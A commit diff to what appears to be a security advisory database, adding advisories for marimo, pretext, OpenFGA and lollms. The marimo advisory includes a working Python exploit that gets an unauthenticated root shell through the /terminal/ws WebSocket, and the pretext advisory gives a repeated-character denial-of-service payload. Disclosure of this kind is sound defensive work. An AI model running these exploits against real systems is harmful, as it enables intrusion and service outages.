Skip to content

Commit cc7a8f0

Browse files

File tree

5 files changed

+317
-4
lines changed

5 files changed

+317
-4
lines changed
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-2679-6mx9-h9xc",
4+
"modified": "2026-04-08T21:50:58Z",
5+
"published": "2026-04-08T21:50:58Z",
6+
"aliases": [],
7+
"summary": "Marimo: Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass",
8+
"details": "## Summary\n\nMarimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint `/terminal/ws` lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.\n\nUnlike other WebSocket endpoints (e.g., `/ws`) that correctly call `validate_auth()` for authentication, the `/terminal/ws` endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.\n\n## Affected Versions\n\nMarimo <= 0.20.4 (current latest)\n\n## Vulnerability Details\n\n### Root Cause: Terminal WebSocket Missing Authentication\n\n`marimo/_server/api/endpoints/terminal.py` lines 340-356:\n\n```python\n@router.websocket(\"/ws\")\nasync def websocket_endpoint(websocket: WebSocket) -> None:\n app_state = AppState(websocket)\n if app_state.mode != SessionMode.EDIT:\n await websocket.close(...)\n return\n if not supports_terminal():\n await websocket.close(...)\n return\n # No authentication check!\n await websocket.accept() # Accepts connection directly\n # ...\n child_pid, fd = pty.fork() # Creates PTY shell\n```\n\nCompare with the correctly implemented `/ws` endpoint (`ws_endpoint.py` lines 67-82):\n\n```python\n@router.websocket(\"/ws\")\nasync def websocket_endpoint(websocket: WebSocket) -> None:\n app_state = AppState(websocket)\n validator = WebSocketConnectionValidator(websocket, app_state)\n if not await validator.validate_auth(): # Correct auth check\n return\n```\n\n### Authentication Middleware Limitation\n\nMarimo uses Starlette's `AuthenticationMiddleware`, which marks failed auth connections as `UnauthenticatedUser` but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level `@requires()` decorators or `validate_auth()` calls.\n\nThe `/terminal/ws` endpoint has neither a `@requires(\"edit\")` decorator nor a `validate_auth()` call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.\n\n### Attack Chain\n\n1. WebSocket connect to `ws://TARGET:2718/terminal/ws` (no auth needed)\n2. `websocket.accept()` accepts the connection directly\n3. `pty.fork()` creates a PTY child process\n4. Full interactive shell with arbitrary command execution\n5. Commands run as root in default Docker deployments\n\nA single WebSocket connection yields a complete interactive shell.\n\n## Proof of Concept\n\n```python\nimport websocket\nimport time\n\n# Connect without any authentication\nws = websocket.WebSocket()\nws.connect('ws://TARGET:2718/terminal/ws')\ntime.sleep(2)\n\n# Drain initial output\ntry:\n while True:\n ws.settimeout(1)\n ws.recv()\nexcept:\n pass\n\n# Execute arbitrary command\nws.settimeout(10)\nws.send('id\\n')\ntime.sleep(2)\nprint(ws.recv()) # uid=0(root) gid=0(root) groups=0(root)\nws.close()\n```\n\n### Reproduction Environment\n\n```dockerfile\nFROM python:3.12-slim\nRUN pip install --no-cache-dir marimo==0.20.4\nRUN mkdir -p /app/notebooks\nRUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py\nWORKDIR /app/notebooks\nEXPOSE 2718\nCMD [\"marimo\", \"edit\", \"--host\", \"0.0.0.0\", \"--port\", \"2718\", \".\"]\n```\n\n### Reproduction Result\n\nWith auth enabled (server generates random `access_token`), the exploit bypasses authentication entirely:\n\n```\n$ python3 exp.py http://127.0.0.1:2718 exec \"id && whoami && hostname\"\n[+] No auth needed! Terminal WebSocket connected\n[+] Output:\nuid=0(root) gid=0(root) groups=0(root)\nroot\nddfc452129c3\n```\n\n## Suggested Remediation\n\n1. Add authentication validation to `/terminal/ws` endpoint, consistent with `/ws` using `WebSocketConnectionValidator.validate_auth()`\n2. Apply unified authentication decorators or middleware interception to all WebSocket endpoints\n3. Terminal functionality should only be available when explicitly enabled, not on by default\n\n## Impact\n\nAn unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "PyPI",
19+
"name": "marimo"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "0.23.0"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/marimo-team/marimo/pull/9098"
44+
},
45+
{
46+
"type": "WEB",
47+
"url": "https://github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a"
48+
},
49+
{
50+
"type": "PACKAGE",
51+
"url": "https://github.com/marimo-team/marimo"
52+
}
53+
],
54+
"database_specific": {
55+
"cwe_ids": [
56+
"CWE-306"
57+
],
58+
"severity": "CRITICAL",
59+
"github_reviewed": true,
60+
"github_reviewed_at": "2026-04-08T21:50:58Z",
61+
"nvd_published_at": null
62+
}
63+
}
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-5478-66c3-rhxr",
4+
"modified": "2026-04-08T21:50:51Z",
5+
"published": "2026-04-08T21:50:51Z",
6+
"aliases": [],
7+
"summary": "Pretext: Algorithmic Complexity (DoS) in the text analysis phase",
8+
"details": "`isRepeatedSingleCharRun()` in `src/analysis.ts` (line 285) re-scans the entire accumulated segment on every merge iteration during text analysis, producing O(n²) total work for input consisting of repeated identical punctuation characters. An attacker who controls text passed to `prepare()` can block the main thread for ~20 seconds with 80KB of input (e.g., `\"(\".repeat(80_000)`).\n\nTested against commit 9364741d3562fcc65aacc50953e867a5cb9fdb23 (v0.0.4) on Node.js v24.12.0, Windows x64.\n\nA standalone PoC and detailed write-up are attached below.\n\n---\n\n## Root Cause\n\nThe `buildMergedSegmentation()` function (line 795) processes text segments produced by `Intl.Segmenter`. When consecutive non-word-like segments consist of the same single character (e.g., `(`, `[`, `!`, `#`), the code merges them into one growing segment (line 859):\n\n```typescript\n// analysis.ts:849-859 - the merge branch inside the build loop\n} else if (\n isText &&\n !piece.isWordLike &&\n mergedLen > 0 &&\n mergedKinds[mergedLen - 1] === 'text' &&\n piece.text.length === 1 &&\n piece.text !== '-' &&\n piece.text !== '—' &&\n isRepeatedSingleCharRun(mergedTexts[mergedLen - 1]!, piece.text) // <- O(n) per call\n) {\n mergedTexts[mergedLen - 1] += piece.text // append to accumulator\n```\n\nBefore each merge, it calls `isRepeatedSingleCharRun()` (line 857) to verify that ALL characters in the accumulated segment match the new character:\n\n```typescript\n// analysis.ts:285-291\nfunction isRepeatedSingleCharRun(segment: string, ch: string): boolean {\n if (segment.length === 0) return false\n for (const part of segment) { // <- Iterates ENTIRE accumulated string\n if (part !== ch) return false\n }\n return true\n}\n```\n\n`Intl.Segmenter` with `granularity: 'word'` produces individual non-word segments for each punctuation character. For a string of N identical punctuation characters, the merge check is called N times. On the k-th call, the accumulated segment is k characters long, so `isRepeatedSingleCharRun` performs k comparisons.\n\nTotal work: `1 + 2 + 3 + ... + N = N(N+1)/2 = O(n^2)`\n\n### Call chain\n\n```\nprepare(text, font) // layout.ts:472\n -> prepareInternal(text, font, ...) // layout.ts:424\n -> analyzeText(text, profile, whiteSpace='normal') // layout.ts:430 -> analysis.ts:993\n -> buildMergedSegmentation(normalized, profile, ...) // analysis.ts:1013 -> analysis.ts:795\n -> for each Intl.Segmenter segment:\n -> isRepeatedSingleCharRun(accumulated, newChar) // line 857 -> line 285\n -> iterates entire accumulated string // O(k) per call, k growing\n```\n\n## Proof of Concept\n\nThe simplest payload is a string of repeated `(` characters:\n\n```typescript\nimport { prepare } from '@chenglou/pretext'\n\n// 80,000 characters -> ~20 seconds of main-thread blocking\nconst payload = '('.repeat(80_000)\nprepare(payload, '16px Arial') // Blocks for ~20 seconds\n```\n\nAny single character that meets these criteria works:\n1. Classified as `'text'` by `classifySegmentBreakChar` (analysis.ts:321) - i.e., not a space, NBSP, ZWSP, soft-hyphen, tab, or newline\n2. Produced as individual non-word segments by `Intl.Segmenter` (word granularity)\n3. Not `-` or em-dash (explicitly excluded at lines 855-856)\n\nWorking payload characters include: `(`, `[`, `{`, `#`, `@`, `!`, `%`, `^`, `~`, `<`, `>`, etc.\n\n---\n\n## Impact\n\n- **Chat/messaging applications:** User sends an 80KB message of `(` characters;\n the receiving client's UI thread freezes for ~20 seconds while rendering.\n- **Comment/form systems:** User-supplied text in any text field that uses\n `pretext` for layout measurement blocks the main thread.\n- **Server-side rendering:** If `prepare()` is called server-side (Node.js/Bun),\n a single request can consume 20+ seconds of CPU time per 80KB of payload.\n\nThe attack requires no authentication, special characters, or encoding tricks -\njust repeated ASCII punctuation. 80KB is well within typical text input limits.\n\nAs an application-level mitigation, callers can cap the length of text passed to\n`prepare()` before a library-level fix is available.\n\n## Suggested Fix\n\nReplace the O(n) full-scan verification with O(1) constant-time checks. \nSince the merge only ever appends the same character to an existing repeated-char run, the invariant is maintained structurally:\n\n**Option A - Check only endpoints (O(1)):**\n```typescript\nfunction isRepeatedSingleCharRun(segment: string, ch: string): boolean {\n return segment.length > 0 && segment[0] === ch && segment[segment.length - 1] === ch\n}\n```\nThis works for the current code because this branch only fires after earlier merge branches (CJK, Myanmar, Arabic) have been skipped, and those branches produce segments that would not start and end with the same ASCII punctuation character. However, the safety relies on an emergent property of the branch ordering and the other merge branches. Future refactors that add new merge branches or reorder the existing ones could silently break the invariant.\n\n**Option B - Track with metadata**\nAdd a boolean `lastMergeWasSingleCharRun` alongside the accumulator arrays. Set it to `true` when a single-char merge succeeds, `false` when any other merge branch is taken. Check the flag instead of re-scanning the string.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "@chenglou/pretext"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "0.0.5"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 0.0.4"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/chenglou/pretext/security/advisories/GHSA-5478-66c3-rhxr"
43+
},
44+
{
45+
"type": "PACKAGE",
46+
"url": "https://github.com/chenglou/pretext"
47+
},
48+
{
49+
"type": "WEB",
50+
"url": "https://github.com/chenglou/pretext/releases/tag/v0.0.5"
51+
}
52+
],
53+
"database_specific": {
54+
"cwe_ids": [
55+
"CWE-407"
56+
],
57+
"severity": "HIGH",
58+
"github_reviewed": true,
59+
"github_reviewed_at": "2026-04-08T21:50:51Z",
60+
"nvd_published_at": null
61+
}
62+
}
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-68m9-983m-f3v5",
4+
"modified": "2026-04-08T21:51:41Z",
5+
"published": "2026-04-08T21:51:41Z",
6+
"aliases": [],
7+
"summary": "OpenFGA: Unauthenticated playground endpoint discloses preshared API key in HTML response",
8+
"details": "### Description\nWhen OpenFGA is configured to use preshared-key authentication with the built-in playground enabled, the local server includes the preshared API key in the HTML response of the /playground endpoint. The /playground endpoint is enabled by default and does not require authentication. It is intended for local development and debugging and is not designed to be exposed to production environments.\n\n\n### Am I Affected?\nYou are affected if you meet each of the following preconditions:\n* You are running OpenFGA with --authn-method preshared, and\n* The playground is enabled, and\n* The playground endpoint is accessible beyond localhost or trusted networks.\n\n### Fix\nUpgrade to OpenFGA v1.14.0, or disable the playground by running `./openfga run --playground-enabled=false.`",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Go",
19+
"name": "github.com/openfga/openfga"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0.1.4"
27+
},
28+
{
29+
"fixed": "1.14.0"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 1.13.1"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/openfga/openfga/security/advisories/GHSA-68m9-983m-f3v5"
43+
},
44+
{
45+
"type": "PACKAGE",
46+
"url": "https://github.com/openfga/openfga"
47+
},
48+
{
49+
"type": "WEB",
50+
"url": "https://github.com/openfga/openfga/releases/tag/v1.14.0"
51+
}
52+
],
53+
"database_specific": {
54+
"cwe_ids": [
55+
"CWE-200"
56+
],
57+
"severity": "MODERATE",
58+
"github_reviewed": true,
59+
"github_reviewed_at": "2026-04-08T21:51:41Z",
60+
"nvd_published_at": null
61+
}
62+
}

advisories/unreviewed/2026/04/GHSA-8jg2-726g-xh43/GHSA-8jg2-726g-xh43.json renamed to advisories/github-reviewed/2026/04/GHSA-8jg2-726g-xh43/GHSA-8jg2-726g-xh43.json

Lines changed: 29 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,49 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-8jg2-726g-xh43",
4-
"modified": "2026-04-08T03:32:14Z",
4+
"modified": "2026-04-08T21:50:30Z",
55
"published": "2026-04-08T03:32:14Z",
66
"aliases": [
77
"CVE-2026-1163"
88
],
9+
"summary": "parisneo/lollms has an insufficient session expiration vulnerability",
910
"details": "An insufficient session expiration vulnerability exists in the latest version of parisneo/lollms. The application fails to invalidate active sessions after a password reset, allowing an attacker to continue using an old session token. This issue arises due to the absence of logic to reject requests after a period of inactivity and the excessively long default session duration of 31 days. The vulnerability enables an attacker to maintain persistent access to a compromised account, even after the victim resets their password.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V3",
1314
"score": "CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L"
1415
}
1516
],
16-
"affected": [],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "lollms"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "11.0.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
1738
"references": [
1839
{
1940
"type": "ADVISORY",
2041
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1163"
2142
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/ParisNeo/lollms"
46+
},
2247
{
2348
"type": "WEB",
2449
"url": "https://huntr.com/bounties/abe2d1c4-c21c-4608-8a8e-274565246a8b"
@@ -29,8 +54,8 @@
2954
"CWE-613"
3055
],
3156
"severity": "MODERATE",
32-
"github_reviewed": false,
33-
"github_reviewed_at": null,
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-04-08T21:50:30Z",
3459
"nvd_published_at": "2026-04-08T03:16:07Z"
3560
}
3661
}

0 commit comments

Comments
 (0)